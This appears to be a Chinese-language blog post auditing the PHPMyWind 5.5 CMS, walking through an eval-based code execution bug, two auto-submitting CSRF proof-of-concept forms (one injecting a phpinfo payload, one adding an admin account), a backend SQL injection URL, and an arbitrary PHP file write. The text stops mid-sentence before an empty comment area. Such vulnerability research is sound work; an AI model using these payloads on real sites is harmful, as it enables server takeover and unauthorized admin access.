phpmywind5.5代码审计
p0desta 漏洞分析 9307浏览 · 2018-12-31 02:02

有限制的代码执行漏洞

这个漏洞呢在很久以前乌云上就被人提起,但是貌似一直没有修复。

平时有空刷一刷乌云上的代码审计文章能学到不少东西的,一些姿势可能是一点就明白,但是如果没有了解过,自己可能需要很长时间去发现,当你看到一些有趣的姿势,再想想自己在审的有没有可能存在同样的情况。

首先找到的入口点在common.func.php第554-559行

function String2Array($data)
    {
        if($data == '') return array();
        @eval("\$array = $data;");
        return $array;
    }

如果没有经过任何处理传入进来的话很明显的一个代码执行漏洞。

然后全局搜一下调用的地方

只有两处调用的地方,来看第一处,搜索表名

找到几处,跟进一处

goods_save.php第103-117行

if(is_array($attrid) && is_array($attrvalue))
    {
        //组成商品属性与值
        $attrstr .= 'array(';
        $attrids = count($attrid);
        for($i=0; $i<$attrids; $i++)
        {
            $attrstr .= '"'.$attrid[$i].'"=>'.'"'.$attrvalue[$i].'"';
            if($i < $attrids-1)
            {
                $attrstr .= ',';
            }
        }
        $attrstr .= ');';
    }

可以看到attrstr是以数组形式存储的,往上走,发现$attridattrvalue并没有进行任何处理。

这两个字段都可以

触发的地方就两处

CSRF突破屏障

classid=12&typeid=10&brandid=-1&title=test&colorval=&boldval=&attrvalue%5B%5D=1&attrid%5B%5D=1%7C%7B%24%7Bphpinfo%28%29%7D%7D&attrvalue%5B%5D=1&attrid%5B%5D=2&payfreight=1&marketprice=1&salesprice=1&goodsid=121&weight=1&housenum=&housewarn=false&warnnum=&integral=0&source=&author=p0desta1&picurl=&linkurl=&keywords=&description=&content=&autodescsize=200&autopagesize=5&hits=157&orderid=2&posttime=2018-12-27+18%3A10%3A54&checkinfo=true&action=add&cid=

所有字段,并没有进行csrf防护,用burp生成一个csrf攻击poc

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://www.test.com/phpmywind_5.5/admin/goods_save.php" method="POST" id="test">
      <input type="hidden" name="classid" value="12" />
      <input type="hidden" name="typeid" value="10" />
      <input type="hidden" name="brandid" value="-1" />
      <input type="hidden" name="title" value="test" />
      <input type="hidden" name="colorval" value="" />
      <input type="hidden" name="boldval" value="" />
      <input type="hidden" name="attrvalue[]" value="1" />
      <input type="hidden" name="attrid[]" value="1|{${phpinfo()}}" />
      <input type="hidden" name="attrvalue[]" value="1" />
      <input type="hidden" name="attrid[]" value="2" />
      <input type="hidden" name="payfreight" value="1" />
      <input type="hidden" name="marketprice" value="1" />
      <input type="hidden" name="salesprice" value="1" />
      <input type="hidden" name="goodsid" value="121" />
      <input type="hidden" name="weight" value="1" />
      <input type="hidden" name="housenum" value="" />
      <input type="hidden" name="housewarn" value="false" />
      <input type="hidden" name="warnnum" value="" />
      <input type="hidden" name="integral" value="0" />
      <input type="hidden" name="source" value="" />
      <input type="hidden" name="author" value="p0desta1" />
      <input type="hidden" name="picurl" value="" />
      <input type="hidden" name="linkurl" value="" />
      <input type="hidden" name="keywords" value="" />
      <input type="hidden" name="description" value="" />
      <input type="hidden" name="content" value="" />
      <input type="hidden" name="autodescsize" value="200" />
      <input type="hidden" name="autopagesize" value="5" />
      <input type="hidden" name="hits" value="157" />
      <input type="hidden" name="orderid" value="3" />
      <input type="hidden" name="posttime" value="2018-12-27 18:10:54" />
      <input type="hidden" name="checkinfo" value="true" />
      <input type="hidden" name="action" value="add" />
      <input type="hidden" name="cid" value="" />
    </form>
    <script>document.getElementById("test").submit();</script>
  </body>
</html>

发送给管理员,当管理员访问后,直接在前台拿到shell了。

当然,CSRF添加管理员也是同样的事情,但是既然都需要借助CSRF,能直接getshell就没必要多此一举了。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://www.test.com/phpmywind_5.5/admin/admin_save.php" method="POST">
      <input type="hidden" name="username" value="p0desta2" />
      <input type="hidden" name="password" value="p0desta2" />
      <input type="hidden" name="repassword" value="p0desta2" />
      <input type="hidden" name="question" value="0" />
      <input type="hidden" name="answer" value="" />
      <input type="hidden" name="nickname" value="" />
      <input type="hidden" name="levelname" value="1" />
      <input type="hidden" name="checkadmin" value="true" />
      <input type="hidden" name="action" value="add" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

后台鸡肋的SQL注入

case 'delall':
            $sql = "DELETE FROM `$tbname` WHERE id IN ($ids)";
            die($sql);
            $dosql->ExecNoneQuery($sql);
            break;

后台代码有多处类似这样的,id等参数都做了很好的防护,但是多处in后的参数没做处理。

构造payload

admin/ajax_do.php?action=delall&ids=1) and (select 1)=(1&type=goodsattr

后台任意文件写入

一般cms都会写一个文件写入的函数,如果这个函数里面没有限制的话就全局搜索调用这个函数的地方,然后跟进

function Writef($file,$str,$mode='w')
    {
        if(file_exists($file) && is_writable($file))
        {
            $fp = fopen($file, $mode);
            flock($fp, 3);
            fwrite($fp, $str);
            fclose($fp);

            return TRUE;
        }
        else if(!file_exists($file))
        {
            $fp = fopen($file, $mode);
            flock($fp, 3);
            fwrite($fp, $str);
            fclose($fp);
        }
        else
        {
            return FALSE;
        }
    }

这里可以找到,只要参数可控即可

调用的点不多,而且基本都是后台的,首先看第一处

if($action == 'updataauth')
{
    $fdir  = PHPMYWIND_DATA.'/cache/auth/';
    $fname = 'auth_'.$cfg_auth_key.'.php';
    //die($jsonStr);

    //是否存在缓存
    Writef($fdir.$fname, $jsonStr);


    echo TRUE;
    exit();
}

那么直接

admin/ajax_do.php?action=updataauth&jsonStr=<?php phpinfo();?>

看到命名$fname = 'auth_'.$cfg_auth_key.'.php';

$cfg_auth_key.

可以在后台的

获取

继续看第二处database_done.php

if($conftb == 1)
            {
                //生成全局配置文件
                $config_cache = PHPMYWIND_INC.'/config.cache.php';
                $str = '<?php   if(!defined(\'IN_PHPMYWIND\')) exit(\'Request Error!\');'."\r\n\r\n";
                $dosql->Execute("SELECT `varname`,`vartype`,`varvalue`,`vargroup` FROM `#@__webconfig` ORDER BY orderid ASC");
                while($row = $dosql->GetArray())
                {
                    //强制去掉 '
                    //强制去掉最后一位 /
                    $vartmp = str_replace("'",'',$row['varvalue']);

                    if(substr($vartmp, -1) == '\\')
                    {
                        $vartmp = substr($vartmp,1,-1);
                    }

                    if($row['vartype'] == 'number')
                    {
                        if($row['varvalue'] == '')
                        {
                            $vartmp = 0;
                        }

                        $str .= "\${$row['varname']} = ".$vartmp.";\r\n";
                    }
                    else
                    {
                        $str .= "\${$row['varname']} = '".$vartmp."';\r\n";
                    }
                }
                $str .= '?>';
                Writef($config_cache,$str);
            }

看它的逻辑

$vartmp = str_replace("'",'',$row['varvalue']);

开头直接将所有单引号替换掉了,如果以下写入的时候都在单引号里面是不会出现问题的,但是

if($row['vartype'] == 'number')
                    {
                        if($row['varvalue'] == '')
                        {
                            $vartmp = 0;
                        }

                        $str .= "\${$row['varname']} = ".$vartmp.";\r\n";
                    }

如果vartype==number就没有,它是从数据库中取出的,找一下写入的地方

if($action == 'add')
{

    if($varname == '' || preg_match('/[^a-z_]/', $varname))
    {
        ShowMsg('变量名不能为空并必须为[a-z_]组成!', $gourl);
        exit();
    }

    //链接前缀
    $varname = 'cfg_'.$varname;

    if($vartype=='bool' && ($varvalue!='Y' && $varvalue!='N'))
    {
        ShowMsg('布尔变量值必须为\'Y\'或\'N\'!', $gourl);
        exit();
    }

    if($dosql->GetOne("SELECT `varname` FROM `#@__webconfig` WHERE varname='$varname'"))
    {
        ShowMsg('该变量名称已经存在!', $gourl);
        exit();
    }

    //获取OrderID
    $row = $dosql->GetOne("SELECT MAX(orderid) AS orderid FROM `#@__webconfig`");
    $orderid = $row['orderid'] + 1;

    $sql = "INSERT INTO `#@__webconfig` (siteid, varname, varinfo, varvalue, vartype, vargroup, orderid) VALUES ('$cfg_siteid', '$varname', '$varinfo', '$varvalue', '$vartype', '$vargroup', '$orderid')";
    if(!$dosql->ExecNoneQuery($sql))
    {
        ShowMsg('新增变量失败,可能有非法字符!', $gourl);
        exit();
    }

    WriteConfig();
    ShowMsg('成功保存变量并更新配置文件!', $gourl);
    exit();

}

发现

if($vartype=='bool' && ($varvalue!='Y' && $varvalue!='N'))
    {
        ShowMsg('布尔变量值必须为\'Y\'或\'N\'!', $gourl);
        exit();
    }

它对布尔类型做了限制,却没有多复制几行代码对number进制限制。

那么

0 条评论
某人
表情
可输入 255

没有评论